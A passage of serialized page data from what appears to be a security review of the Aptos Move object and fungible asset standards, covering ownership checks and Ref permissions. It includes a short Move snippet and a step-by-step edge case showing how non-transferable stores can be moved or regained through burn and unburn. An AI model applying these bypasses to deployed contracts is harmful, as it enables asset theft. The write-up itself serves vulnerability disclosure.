current_address",{"type":23,"tag":134,"props":63902,"children":63903},{"style":179},[63904],{"type":28,"value":14272},{"type":23,"tag":134,"props":63906,"children":63907},{"class":136,"line":221},[63908,63913,63917,63922,63926,63930],{"type":23,"tag":134,"props":63909,"children":63910},{"style":162},[63911],{"type":28,"value":63912},"        count",{"type":23,"tag":134,"props":63914,"children":63915},{"style":168},[63916],{"type":28,"value":171},{"type":23,"tag":134,"props":63918,"children":63919},{"style":162},[63920],{"type":28,"value":63921}," count",{"type":23,"tag":134,"props":63923,"children":63924},{"style":168},[63925],{"type":28,"value":8365},{"type":23,"tag":134,"props":63927,"children":63928},{"style":205},[63929],{"type":28,"value":1729},{"type":23,"tag":134,"props":63931,"children":63932},{"style":179},[63933],{"type":28,"value":182},{"type":23,"tag":134,"props":63935,"children":63936},{"class":136,"line":332},[63937,63941,63945],{"type":23,"tag":134,"props":63938,"children":63939},{"style":179},[63940],{"type":28,"value":63866},{"type":23,"tag":134,"props":63942,"children":63943},{"style":168},[63944],{"type":28,"value":9054},{"type":23,"tag":134,"props":63946,"children":63947},{"style":179},[63948],{"type":28,"value":11239},{"type":23,"tag":134,"props":63950,"children":63951},{"class":136,"line":438},[63952,63957],{"type":23,"tag":134,"props":63953,"children":63954},{"style":264},[63955],{"type":28,"value":63956},"        assert!",{"type":23,"tag":134,"props":63958,"children":63959},{"style":179},[63960],{"type":28,"value":642},{"type":23,"tag":134,"props":63962,"children":63963},{"class":136,"line":466},[63964,63969,63973,63978,63982,63987],{"type":23,"tag":134,"props":63965,"children":63966},{"style":162},[63967],{"type":28,"value":63968},"            exists",{"type":23,"tag":134,"props":63970,"children":63971},{"style":179},[63972],{"type":28,"value":5262},{"type":23,"tag":134,"props":63974,"children":63975},{"style":597},[63976],{"type":28,"value":63977},"ObjectCore",{"type":23,"tag":134,"props":63979,"children":63980},{"style":179},[63981],{"type":28,"value":7069},{"type":23,"tag":134,"props":63983,"children":63984},{"style":162},[63985],{"type":28,"value":63986},"current_address",{"type":23,"tag":134,"props":63988,"children":63989},{"style":179},[63990],{"type":28,"value":6194},{"type":23,"tag":134,"props":63992,"children":63993},{"class":136,"line":479},[63994,63999,64003,64007],{"type":23,"tag":134,"props":63995,"children":63996},{"style":179},[63997],{"type":28,"value":63998},"            error",{"type":23,"tag":134,"props":64000,"children":64001},{"style":168},[64002],{"type":28,"value":660},{"type":23,"tag":134,"props":64004,"children":64005},{"style":264},[64006],{"type":28,"value":63327},{"type":23,"tag":134,"props":64008,"children":64009},{"style":179},[64010],{"type":28,"value":64011},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":134,"props":64013,"children":64014},{"class":136,"line":497},[64015],{"type":23,"tag":134,"props":64016,"children":64017},{"style":179},[64018],{"type":28,"value":7202},{"type":23,"tag":134,"props":64020,"children":64021},{"class":136,"line":518},[64022,64026,64030,64034,64039,64043,64047,64051,64055],{"type":23,"tag":134,"props":64023,"children":64024},{"style":151},[64025],{"type":28,"value":227},{"type":23,"tag":134,"props":64027,"children":64028},{"style":162},[64029],{"type":28,"value":62002},{"type":23,"tag":134,"props":64031,"children":64032},{"style":168},[64033],{"type":28,"value":171},{"type":23,"tag":134,"props":64035,"children":64036},{"style":162},[64037],{"type":28,"value":64038}," borrow_global",{"type":23,"tag":134,"props":64040,"children":64041},{"style":179},[64042],{"type":28,"value":5262},{"type":23,"tag":134,"props":64044,"children":64045},{"style":597},[64046],{"type":28,"value":63977},{"type":23,"tag":134,"props":64048,"children":64049},{"style":179},[64050],{"type":28,"value":7069},{"type":23,"tag":134,"props":64052,"children":64053},{"style":162},[64054],{"type":28,"value":63986},{"type":23,"tag":134,"props":64056,"children":64057},{"style":179},[64058],{"type":28,"value":1021},{"type":23,"tag":134,"props":64060,"children":64061},{"class":136,"line":527},[64062,64067,64071,64075,64079],{"type":23,"tag":134,"props":64063,"children":64064},{"style":162},[64065],{"type":28,"value":64066},"        current_address",{"type":23,"tag":134,"props":64068,"children":64069},{"style":168},[64070],{"type":28,"value":171},{"type":23,"tag":134,"props":64072,"children":64073},{"style":162},[64074],{"type":28,"value":62002},{"type":23,"tag":134,"props":64076,"children":64077},{"style":168},[64078],{"type":28,"value":720},{"type":23,"tag":134,"props":64080,"children":64081},{"style":179},[64082],{"type":28,"value":64083},"owner;\n",{"type":23,"tag":134,"props":64085,"children":64086},{"class":136,"line":780},[64087],{"type":23,"tag":134,"props":64088,"children":64089},{"style":179},[64090],{"type":28,"value":38495},{"type":23,"tag":134,"props":64092,"children":64093},{"class":136,"line":797},[64094],{"type":23,"tag":134,"props":64095,"children":64096},{"style":179},[64097],{"type":28,"value":1098},{"type":23,"tag":24,"props":64099,"children":64100},{},[64101,64103,64108],{"type":28,"value":64102},"This could allow for bypassing assumptions about ",{"type":23,"tag":92,"props":64104,"children":64106},{"className":64105},[],[64107],{"type":28,"value":61584},{"type":28,"value":64109}," true ownership and its non-transferability.",{"type":23,"tag":87,"props":64111,"children":64113},{"className":128,"code":64112,"language":127,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[64114],{"type":23,"tag":92,"props":64115,"children":64116},{"__ignoreMap":7},[64117,64175,64228,64272,64320,64327,64372,64380],{"type":23,"tag":134,"props":64118,"children":64119},{"class":136,"line":137},[64120,64124,64128,64133,64137,64142,64146,64150,64154,64158,64163,64167,64171],{"type":23,"tag":134,"props":64121,"children":64122},{"style":162},[64123],{"type":28,"value":61183},{"type":23,"tag":134,"props":64125,"children":64126},{"style":162},[64127],{"type":28,"value":5664},{"type":23,"tag":134,"props":64129,"children":64130},{"style":264},[64131],{"type":28,"value":64132}," untransferable_transfer",{"type":23,"tag":134,"props":64134,"children":64135},{"style":179},[64136],{"type":28,"value":272},{"type":23,"tag":134,"props":64138,"children":64139},{"style":162},[64140],{"type":28,"value":64141},"caller",{"type":23,"tag":134,"props":64143,"children":64144},{"style":168},[64145],{"type":28,"value":1697},{"type":23,"tag":134,"props":64147,"children":64148},{"style":168},[64149],{"type":28,"value":6599},{"type":23,"tag":134,"props":64151,"children":64152},{"style":162},[64153],{"type":28,"value":6604},{"type":23,"tag":134,"props":64155,"children":64156},{"style":179},[64157],{"type":28,"value":242},{"type":23,"tag":134,"props":64159,"children":64160},{"style":162},[64161],{"type":28,"value":64162},"receipient",{"type":23,"tag":134,"props":64164,"children":64165},{"style":168},[64166],{"type":28,"value":1697},{"type":23,"tag":134,"props":64168,"children":64169},{"style":162},[64170],{"type":28,"value":5707},{"type":23,"tag":134,"props":64172,"children":64173},{"style":179},[64174],{"type":28,"value":14272},{"type":23,"tag":134,"props":64176,"children":64177},{"class":136,"line":147},[64178,64182,64187,64191,64195,64199,64204,64208,64212,64216,64220,64224],{"type":23,"tag":134,"props":64179,"children":64180},{"style":151},[64181],{"type":28,"value":154},{"type":23,"tag":134,"props":64183,"children":64184},{"style":162},[64185],{"type":28,"value":64186}," constructor_ref",{"type":23,"tag":134,"props":64188,"children":64189},{"style":168},[64190],{"type":28,"value":171},{"type":23,"tag":134,"props":64192,"children":64193},{"style":179},[64194],{"type":28,"value":62002},{"type":23,"tag":134,"props":64196,"children":64197},{"style":168},[64198],{"type":28,"value":660},{"type":23,"tag":134,"props":64200,"children":64201},{"style":264},[64202],{"type":28,"value":64203},"create_object",{"type":23,"tag":134,"props":64205,"children":64206},{"style":179},[64207],{"type":28,"value":6658},{"type":23,"tag":134,"props":64209,"children":64210},{"style":168},[64211],{"type":28,"value":660},{"type":23,"tag":134,"props":64213,"children":64214},{"style":264},[64215],{"type":28,"value":6667},{"type":23,"tag":134,"props":64217,"children":64218},{"style":179},[64219],{"type":28,"value":272},{"type":23,"tag":134,"props":64221,"children":64222},{"style":162},[64223],{"type":28,"value":64141},{"type":23,"tag":134,"props":64225,"children":64226},{"style":179},[64227],{"type":28,"value":6681},{"type":23,"tag":134,"props":64229,"children":64230},{"class":136,"line":185},[64231,64235,64239,64243,64247,64251,64256,64260,64264,64268],{"type":23,"tag":134,"props":64232,"children":64233},{"style":151},[64234],{"type":28,"value":154},{"type":23,"tag":134,"props":64236,"children":64237},{"style":162},[64238],{"type":28,"value":63589},{"type":23,"tag":134,"props":64240,"children":64241},{"style":168},[64242],{"type":28,"value":171},{"type":23,"tag":134,"props":64244,"children":64245},{"style":179},[64246],{"type":28,"value":62002},{"type":23,"tag":134,"props":64248,"children":64249},{"style":168},[64250],{"type":28,"value":660},{"type":23,"tag":134,"props":64252,"children":64253},{"style":264},[64254],{"type":28,"value":64255},"address_from_constructor_ref",{"type":23,"tag":134,"props":64257,"children":64258},{"style":179},[64259],{"type":28,"value":272},{"type":23,"tag":134,"props":64261,"children":64262},{"style":168},[64263],{"type":28,"value":277},{"type":23,"tag":134,"props":64265,"children":64266},{"style":162},[64267],{"type":28,"value":62436},{"type":23,"tag":134,"props":64269,"children":64270},{"style":179},[64271],{"type":28,"value":1021},{"type":23,"tag":134,"props":64273,"children":64274},{"class":136,"line":221},[64275,64279,64283,64287,64292,64296,64300,64304,64308,64312,64316],{"type":23,"tag":134,"props":64276,"children":64277},{"style":151},[64278],{"type":28,"value":154},{"type":23,"tag":134,"props":64280,"children":64281},{"style":162},[64282],{"type":28,"value":5287},{"type":23,"tag":134,"props":64284,"children":64285},{"style":168},[64286],{"type":28,"value":171},{"type":23,"tag":134,"props":64288,"children":64289},{"style":179},[64290],{"type":28,"value":64291}," primary_fungible_store",{"type":23,"tag":134,"props":64293,"children":64294},{"style":168},[64295],{"type":28,"value":660},{"type":23,"tag":134,"props":64297,"children":64298},{"style":264},[64299],{"type":28,"value":62328},{"type":23,"tag":134,"props":64301,"children":64302},{"style":179},[64303],{"type":28,"value":272},{"type":23,"tag":134,"props":64305,"children":64306},{"style":162},[64307],{"type":28,"value":63635},{"type":23,"tag":134,"props":64309,"children":64310},{"style":179},[64311],{"type":28,"value":242},{"type":23,"tag":134,"props":64313,"children":64314},{"style":264},[64315],{"type":28,"value":62284},{"type":23,"tag":134,"props":64317,"children":64318},{"style":179},[64319],{"type":28,"value":14894},{"type":23,"tag":134,"props":64321,"children":64322},{"class":136,"line":332},[64323],{"type":23,"tag":134,"props":64324,"children":64325},{"emptyLinePlaceholder":15},[64326],{"type":28,"value":865},{"type":23,"tag":134,"props":64328,"children":64329},{"class":136,"line":438},[64330,64335,64339,64344,64348,64352,64356,64360,64364,64368],{"type":23,"tag":134,"props":64331,"children":64332},{"style":179},[64333],{"type":28,"value":64334},"    object",{"type":23,"tag":134,"props":64336,"children":64337},{"style":168},[64338],{"type":28,"value":660},{"type":23,"tag":134,"props":64340,"children":64341},{"style":264},[64342],{"type":28,"value":64343},"transfer_raw",{"type":23,"tag":134,"props":64345,"children":64346},{"style":179},[64347],{"type":28,"value":272},{"type":23,"tag":134,"props":64349,"children":64350},{"style":162},[64351],{"type":28,"value":64141},{"type":23,"tag":134,"props":64353,"children":64354},{"style":179},[64355],{"type":28,"value":242},{"type":23,"tag":134,"props":64357,"children":64358},{"style":162},[64359],{"type":28,"value":63635},{"type":23,"tag":134,"props":64361,"children":64362},{"style":179},[64363],{"type":28,"value":242},{"type":23,"tag":134,"props":64365,"children":64366},{"style":162},[64367],{"type":28,"value":64162},{"type":23,"tag":134,"props":64369,"children":64370},{"style":179},[64371],{"type":28,"value":1021},{"type":23,"tag":134,"props":64373,"children":64374},{"class":136,"line":466},[64375],{"type":23,"tag":134,"props":64376,"children":64377},{"style":141},[64378],{"type":28,"value":64379},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":134,"props":64381,"children":64382},{"class":136,"line":479},[64383],{"type":23,"tag":134,"props":64384,"children":64385},{"style":179},[64386],{"type":28,"value":1098},{"type":23,"tag":24,"props":64388,"children":64389},{},[64390,64392,64399],{"type":28,"value":64391},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":31,"props":64393,"children":64396},{"href":64394,"rel":64395},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[35],[64397],{"type":28,"value":64398},"edge case",{"type":28,"value":64400}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":87,"props":64402,"children":64404},{"className":128,"code":64403,"language":127,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[64405],{"type":23,"tag":92,"props":64406,"children":64407},{"__ignoreMap":7},[64408,64473,64534,64581,64592,64627,64647,64654,64661,64676,64683,64711],{"type":23,"tag":134,"props":64409,"children":64410},{"class":136,"line":137},[64411,64415,64419,64424,64428,64432,64436,64441,64445,64449,64453,64457,64461,64465,64469],{"type":23,"tag":134,"props":64412,"children":64413},{"style":162},[64414],{"type":28,"value":61183},{"type":23,"tag":134,"props":64416,"children":64417},{"style":162},[64418],{"type":28,"value":5664},{"type":23,"tag":134,"props":64420,"children":64421},{"style":264},[64422],{"type":28,"value":64423}," transfer_with_ref",{"type":23,"tag":134,"props":64425,"children":64426},{"style":179},[64427],{"type":28,"value":272},{"type":23,"tag":134,"props":64429,"children":64430},{"style":151},[64431],{"type":28,"value":62845},{"type":23,"tag":134,"props":64433,"children":64434},{"style":168},[64435],{"type":28,"value":1697},{"type":23,"tag":134,"props":64437,"children":64438},{"style":597},[64439],{"type":28,"value":64440}," LinearTransferRef",{"type":23,"tag":134,"props":64442,"children":64443},{"style":179},[64444],{"type":28,"value":242},{"type":23,"tag":134,"props":64446,"children":64447},{"style":162},[64448],{"type":28,"value":32223},{"type":23,"tag":134,"props":64450,"children":64451},{"style":168},[64452],{"type":28,"value":1697},{"type":23,"tag":134,"props":64454,"children":64455},{"style":162},[64456],{"type":28,"value":5707},{"type":23,"tag":134,"props":64458,"children":64459},{"style":179},[64460],{"type":28,"value":252},{"type":23,"tag":134,"props":64462,"children":64463},{"style":162},[64464],{"type":28,"value":5801},{"type":23,"tag":134,"props":64466,"children":64467},{"style":597},[64468],{"type":28,"value":63482},{"type":23,"tag":134,"props":64470,"children":64471},{"style":179},[64472],{"type":28,"value":463},{"type":23,"tag":134,"props":64474,"children":64475},{"class":136,"line":147},[64476,64480,64484,64488,64492,64496,64501,64505,64509,64513,64517,64521,64525,64529],{"type":23,"tag":134,"props":64477,"children":64478},{"style":264},[64479],{"type":28,"value":61852},{"type":23,"tag":134,"props":64481,"children":64482},{"style":179},[64483],{"type":28,"value":272},{"type":23,"tag":134,"props":64485,"children":64486},{"style":168},[64487],{"type":28,"value":20099},{"type":23,"tag":134,"props":64489,"children":64490},{"style":162},[64491],{"type":28,"value":6162},{"type":23,"tag":134,"props":64493,"children":64494},{"style":179},[64495],{"type":28,"value":5262},{"type":23,"tag":134,"props":64497,"children":64498},{"style":597},[64499],{"type":28,"value":64500},"Untransferable",{"type":23,"tag":134,"props":64502,"children":64503},{"style":179},[64504],{"type":28,"value":7069},{"type":23,"tag":134,"props":64506,"children":64507},{"style":151},[64508],{"type":28,"value":62845},{"type":23,"tag":134,"props":64510,"children":64511},{"style":168},[64512],{"type":28,"value":720},{"type":23,"tag":134,"props":64514,"children":64515},{"style":151},[64516],{"type":28,"value":13181},{"type":23,"tag":134,"props":64518,"children":64519},{"style":179},[64520],{"type":28,"value":62441},{"type":23,"tag":134,"props":64522,"children":64523},{"style":168},[64524],{"type":28,"value":660},{"type":23,"tag":134,"props":64526,"children":64527},{"style":264},[64528],{"type":28,"value":63327},{"type":23,"tag":134,"props":64530,"children":64531},{"style":179},[64532],{"type":28,"value":64533},"(ENOT_MOVABLE));\n",{"type":23,"tag":134,"props":64535,"children":64536},{"class":136,"line":185},[64537,64541,64545,64549,64553,64557,64561,64565,64569,64573,64577],{"type":23,"tag":134,"props":64538,"children":64539},{"style":151},[64540],{"type":28,"value":154},{"type":23,"tag":134,"props":64542,"children":64543},{"style":162},[64544],{"type":28,"value":62002},{"type":23,"tag":134,"props":64546,"children":64547},{"style":168},[64548],{"type":28,"value":171},{"type":23,"tag":134,"props":64550,"children":64551},{"style":162},[64552],{"type":28,"value":7055},{"type":23,"tag":134,"props":64554,"children":64555},{"style":179},[64556],{"type":28,"value":5262},{"type":23,"tag":134,"props":64558,"children":64559},{"style":597},[64560],{"type":28,"value":63977},{"type":23,"tag":134,"props":64562,"children":64563},{"style":179},[64564],{"type":28,"value":7069},{"type":23,"tag":134,"props":64566,"children":64567},{"style":151},[64568],{"type":28,"value":62845},{"type":23,"tag":134,"props":64570,"children":64571},{"style":168},[64572],{"type":28,"value":720},{"type":23,"tag":134,"props":64574,"children":64575},{"style":151},[64576],{"type":28,"value":13181},{"type":23,"tag":134,"props":64578,"children":64579},{"style":179},[64580],{"type":28,"value":1021},{"type":23,"tag":134,"props":64582,"children":64583},{"class":136,"line":221},[64584,64588],{"type":23,"tag":134,"props":64585,"children":64586},{"style":264},[64587],{"type":28,"value":61852},{"type":23,"tag":134,"props":64589,"children":64590},{"style":179},[64591],{"type":28,"value":642},{"type":23,"tag":134,"props":64593,"children":64594},{"class":136,"line":332},[64595,64600,64604,64609,64613,64618,64622],{"type":23,"tag":134,"props":64596,"children":64597},{"style":162},[64598],{"type":28,"value":64599},"        object",{"type":23,"tag":134,"props":64601,"children":64602},{"style":168},[64603],{"type":28,"value":720},{"type":23,"tag":134,"props":64605,"children":64606},{"style":179},[64607],{"type":28,"value":64608},"owner ",{"type":23,"tag":134,"props":64610,"children":64611},{"style":168},[64612],{"type":28,"value":8035},{"type":23,"tag":134,"props":64614,"children":64615},{"style":151},[64616],{"type":28,"value":64617}," ref",{"type":23,"tag":134,"props":64619,"children":64620},{"style":168},[64621],{"type":28,"value":720},{"type":23,"tag":134,"props":64623,"children":64624},{"style":179},[64625],{"type":28,"value":64626},"owner,\n",{"type":23,"tag":134,"props":64628,"children":64629},{"class":136,"line":438},[64630,64635,64639,64643],{"type":23,"tag":134,"props":64631,"children":64632},{"style":179},[64633],{"type":28,"value":64634},"        error",{"type":23,"tag":134,"props":64636,"children":64637},{"style":168},[64638],{"type":28,"value":660},{"type":23,"tag":134,"props":64640,"children":64641},{"style":264},[64642],{"type":28,"value":63327},{"type":23,"tag":134,"props":64644,"children":64645},{"style":179},[64646],{"type":28,"value":64011},{"type":23,"tag":134,"props":64648,"children":64649},{"class":136,"line":466},[64650],{"type":23,"tag":134,"props":64651,"children":64652},{"style":179},[64653],{"type":28,"value":43158},{"type":23,"tag":134,"props":64655,"children":64656},{"class":136,"line":479},[64657],{"type":23,"tag":134,"props":64658,"children":64659},{"style":179},[64660],{"type":28,"value":61294},{"type":23,"tag":134,"props":64662,"children":64663},{"class":136,"line":497},[64664,64668,64672],{"type":23,"tag":134,"props":64665,"children":64666},{"style":179},[64667],{"type":28,"value":62226},{"type":23,"tag":134,"props":64669,"children":64670},{"style":168},[64671],{"type":28,"value":9054},{"type":23,"tag":134,"props":64673,"children":64674},{"style":179},[64675],{"type":28,"value":11239},{"type":23,"tag":134,"props":64677,"children":64678},{"class":136,"line":518},[64679],{"type":23,"tag":134,"props":64680,"children":64681},{"style":179},[64682],{"type":28,"value":61294},{"type":23,"tag":134,"props":64684,"children":64685},{"class":136,"line":527},[64686,64690,64694,64698,64702,64707],{"type":23,"tag":134,"props":64687,"children":64688},{"style":162},[64689],{"type":28,"value":64334},{"type":23,"tag":134,"props":64691,"children":64692},{"style":168},[64693],{"type":28,"value":720},{"type":23,"tag":134,"props":64695,"children":64696},{"style":179},[64697],{"type":28,"value":64608},{"type":23,"tag":134,"props":64699,"children":64700},{"style":168},[64701],{"type":28,"value":257},{"type":23,"tag":134,"props":64703,"children":64704},{"style":162},[64705],{"type":28,"value":64706}," to",{"type":23,"tag":134,"props":64708,"children":64709},{"style":179},[64710],{"type":28,"value":182},{"type":23,"tag":134,"props":64712,"children":64713},{"class":136,"line":780},[64714],{"type":23,"tag":134,"props":64715,"children":64716},{"style":179},[64717],{"type":28,"value":1098},{"type":23,"tag":24,"props":64719,"children":64720},{},[64721,64723,64728,64730,64735],{"type":28,"value":64722},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":92,"props":64724,"children":64726},{"className":64725},[],[64727],{"type":28,"value":63380},{"type":28,"value":64729},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":92,"props":64731,"children":64733},{"className":64732},[],[64734],{"type":28,"value":6604},{"type":28,"value":64736}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":9072,"props":64738,"children":64740},{"id":64739},"references",[64741],{"type":28,"value":64742},"References",{"type":23,"tag":24,"props":64744,"children":64745},{},[64746,64751,64753,64759,64761,64766,64768,64773],{"type":23,"tag":92,"props":64747,"children":64749},{"className":64748},[],[64750],{"type":28,"value":64742},{"type":28,"value":64752}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":92,"props":64754,"children":64756},{"className":64755},[],[64757],{"type":28,"value":64758},"Refs",{"type":28,"value":64760}," are based on the ",{"type":23,"tag":92,"props":64762,"children":64764},{"className":64763},[],[64765],{"type":28,"value":48356},{"type":28,"value":64767}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":92,"props":64769,"children":64771},{"className":64770},[],[64772],{"type":28,"value":48356},{"type":28,"value":64774}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":64776,"children":64777},{},[64778,64780,64785,64787,64792,64793,64799,64801,64806,64808,64813],{"type":28,"value":64779},"Let's get back to the ",{"type":23,"tag":92,"props":64781,"children":64783},{"className":64782},[],[64784],{"type":28,"value":61584},{"type":28,"value":64786}," deletion example. Both ",{"type":23,"tag":92,"props":64788,"children":64790},{"className":64789},[],[64791],{"type":28,"value":62869},{"type":28,"value":10458},{"type":23,"tag":92,"props":64794,"children":64796},{"className":64795},[],[64797],{"type":28,"value":64798},"fungible_asset::remove_store",{"type":28,"value":64800}," use the same object-specific ",{"type":23,"tag":92,"props":64802,"children":64804},{"className":64803},[],[64805],{"type":28,"value":62801},{"type":28,"value":64807}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":92,"props":64809,"children":64811},{"className":64810},[],[64812],{"type":28,"value":62801},{"type":28,"value":64814}," for fungible assets.",{"type":23,"tag":87,"props":64816,"children":64817},{"className":128,"code":62751,"language":127,"meta":7,"style":7},[64818],{"type":23,"tag":92,"props":64819,"children":64820},{"__ignoreMap":7},[64821,64828,64867,64874,64881],{"type":23,"tag":134,"props":64822,"children":64823},{"class":136,"line":137},[64824],{"type":23,"tag":134,"props":64825,"children":64826},{"style":141},[64827],{"type":28,"value":62763},{"type":23,"tag":134,"props":64829,"children":64830},{"class":136,"line":147},[64831,64835,64839,64843,64847,64851,64855,64859,64863],{"type":23,"tag":134,"props":64832,"children":64833},{"style":162},[64834],{"type":28,"value":61183},{"type":23,"tag":134,"props":64836,"children":64837},{"style":162},[64838],{"type":28,"value":5664},{"type":23,"tag":134,"props":64840,"children":64841},{"style":264},[64842],{"type":28,"value":62779},{"type":23,"tag":134,"props":64844,"children":64845},{"style":179},[64846],{"type":28,"value":272},{"type":23,"tag":134,"props":64848,"children":64849},{"style":162},[64850],{"type":28,"value":62788},{"type":23,"tag":134,"props":64852,"children":64853},{"style":168},[64854],{"type":28,"value":1697},{"type":23,"tag":134,"props":64856,"children":64857},{"style":168},[64858],{"type":28,"value":6599},{"type":23,"tag":134,"props":64860,"children":64861},{"style":597},[64862],{"type":28,"value":62801},{"type":23,"tag":134,"props":64864,"children":64865},{"style":179},[64866],{"type":28,"value":329},{"type":23,"tag":134,"props":64868,"children":64869},{"class":136,"line":185},[64870],{"type":23,"tag":134,"props":64871,"children":64872},{"emptyLinePlaceholder":15},[64873],{"type":28,"value":865},{"type":23,"tag":134,"props":64875,"children":64876},{"class":136,"line":221},[64877],{"type":23,"tag":134,"props":64878,"children":64879},{"style":141},[64880],{"type":28,"value":62820},{"type":23,"tag":134,"props":64882,"children":64883},{"class":136,"line":332},[64884,64888,64892,64896,64900,64904,64908,64912],{"type":23,"tag":134,"props":64885,"children":64886},{"style":162},[64887],{"type":28,"value":61183},{"type":23,"tag":134,"props":64889,"children":64890},{"style":162},[64891],{"type":28,"value":5664},{"type":23,"tag":134,"props":64893,"children":64894},{"style":264},[64895],{"type":28,"value":62836},{"type":23,"tag":134,"props":64897,"children":64898},{"style":179},[64899],{"type":28,"value":272},{"type":23,"tag":134,"props":64901,"children":64902},{"style":151},[64903],{"type":28,"value":62845},{"type":23,"tag":134,"props":64905,"children":64906},{"style":168},[64907],{"type":28,"value":1697},{"type":23,"tag":134,"props":64909,"children":64910},{"style":597},[64911],{"type":28,"value":62854},{"type":23,"tag":134,"props":64913,"children":64914},{"style":179},[64915],{"type":28,"value":329},{"type":23,"tag":24,"props":64917,"children":64918},{},[64919,64921,64926,64928,64934],{"type":28,"value":64920},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":92,"props":64922,"children":64924},{"className":64923},[],[64925],{"type":28,"value":61584},{"type":28,"value":64927}," is toggled using a ",{"type":23,"tag":92,"props":64929,"children":64931},{"className":64930},[],[64932],{"type":28,"value":64933},"TransferRef",{"type":28,"value":64935},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":87,"props":64937,"children":64939},{"className":128,"code":64938,"language":127,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[64940],{"type":23,"tag":92,"props":64941,"children":64942},{"__ignoreMap":7},[64943,64979,65003,65030,65049],{"type":23,"tag":134,"props":64944,"children":64945},{"class":136,"line":137},[64946,64950,64954,64959,64963,64967,64971,64975],{"type":23,"tag":134,"props":64947,"children":64948},{"style":162},[64949],{"type":28,"value":61183},{"type":23,"tag":134,"props":64951,"children":64952},{"style":162},[64953],{"type":28,"value":5664},{"type":23,"tag":134,"props":64955,"children":64956},{"style":162},[64957],{"type":28,"value":64958}," set_frozen_flag",{"type":23,"tag":134,"props":64960,"children":64961},{"style":179},[64962],{"type":28,"value":5262},{"type":23,"tag":134,"props":64964,"children":64965},{"style":597},[64966],{"type":28,"value":5444},{"type":23,"tag":134,"props":64968,"children":64969},{"style":168},[64970],{"type":28,"value":1697},{"type":23,"tag":134,"props":64972,"children":64973},{"style":162},[64974],{"type":28,"value":5388},{"type":23,"tag":134,"props":64976,"children":64977},{"style":179},[64978],{"type":28,"value":6046},{"type":23,"tag":134,"props":64980,"children":64981},{"class":136,"line":147},[64982,64987,64991,64995,64999],{"type":23,"tag":134,"props":64983,"children":64984},{"style":151},[64985],{"type":28,"value":64986},"    ref",{"type":23,"tag":134,"props":64988,"children":64989},{"style":168},[64990],{"type":28,"value":1697},{"type":23,"tag":134,"props":64992,"children":64993},{"style":168},[64994],{"type":28,"value":6599},{"type":23,"tag":134,"props":64996,"children":64997},{"style":597},[64998],{"type":28,"value":64933},{"type":23,"tag":134,"props":65000,"children":65001},{"style":179},[65002],{"type":28,"value":687},{"type":23,"tag":134,"props":65004,"children":65005},{"class":136,"line":185},[65006,65010,65014,65018,65022,65026],{"type":23,"tag":134,"props":65007,"children":65008},{"style":162},[65009],{"type":28,"value":28907},{"type":23,"tag":134,"props":65011,"children":65012},{"style":168},[65013],{"type":28,"value":1697},{"type":23,"tag":134,"props":65015,"children":65016},{"style":597},[65017],{"type":28,"value":61069},{"type":23,"tag":134,"props":65019,"children":65020},{"style":179},[65021],{"type":28,"value":5262},{"type":23,"tag":134,"props":65023,"children":65024},{"style":597},[65025],{"type":28,"value":5444},{"type":23,"tag":134,"props":65027,"children":65028},{"style":179},[65029],{"type":28,"value":5595},{"type":23,"tag":134,"props":65031,"children":65032},{"class":136,"line":221},[65033,65037,65041,65045],{"type":23,"tag":134,"props":65034,"children":65035},{"style":162},[65036],{"type":28,"value":60721},{"type":23,"tag":134,"props":65038,"children":65039},{"style":168},[65040],{"type":28,"value":1697},{"type":23,"tag":134,"props":65042,"children":65043},{"style":597},[65044],{"type":28,"value":11517},{"type":23,"tag":134,"props":65046,"children":65047},{"style":179},[65048],{"type":28,"value":687},{"type":23,"tag":134,"props":65050,"children":65051},{"class":136,"line":332},[65052],{"type":23,"tag":134,"props":65053,"children":65054},{"style":179},[65055],{"type":28,"value":329},{"type":23,"tag":24,"props":65057,"children":65058},{},[65059,65060,65065,65066,65071],{"type":28,"value":16084},{"type":23,"tag":92,"props":65061,"children":65063},{"className":65062},[],[65064],{"type":28,"value":48356},{"type":28,"value":5915},{"type":23,"tag":92,"props":65067,"children":65069},{"className":65068},[],[65070],{"type":28,"value":64933},{"type":28,"value":65072}," is used to transfer object ownership:",{"type":23,"tag":87,"props":65074,"children":65076},{"className":128,"code":65075,"language":127,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[65077],{"type":23,"tag":92,"props":65078,"children":65079},{"__ignoreMap":7},[65080,65088,65121,65140],{"type":23,"tag":134,"props":65081,"children":65082},{"class":136,"line":137},[65083],{"type":23,"tag":134,"props":65084,"children":65085},{"style":141},[65086],{"type":28,"value":65087},"/// Used to create LinearTransferRef, 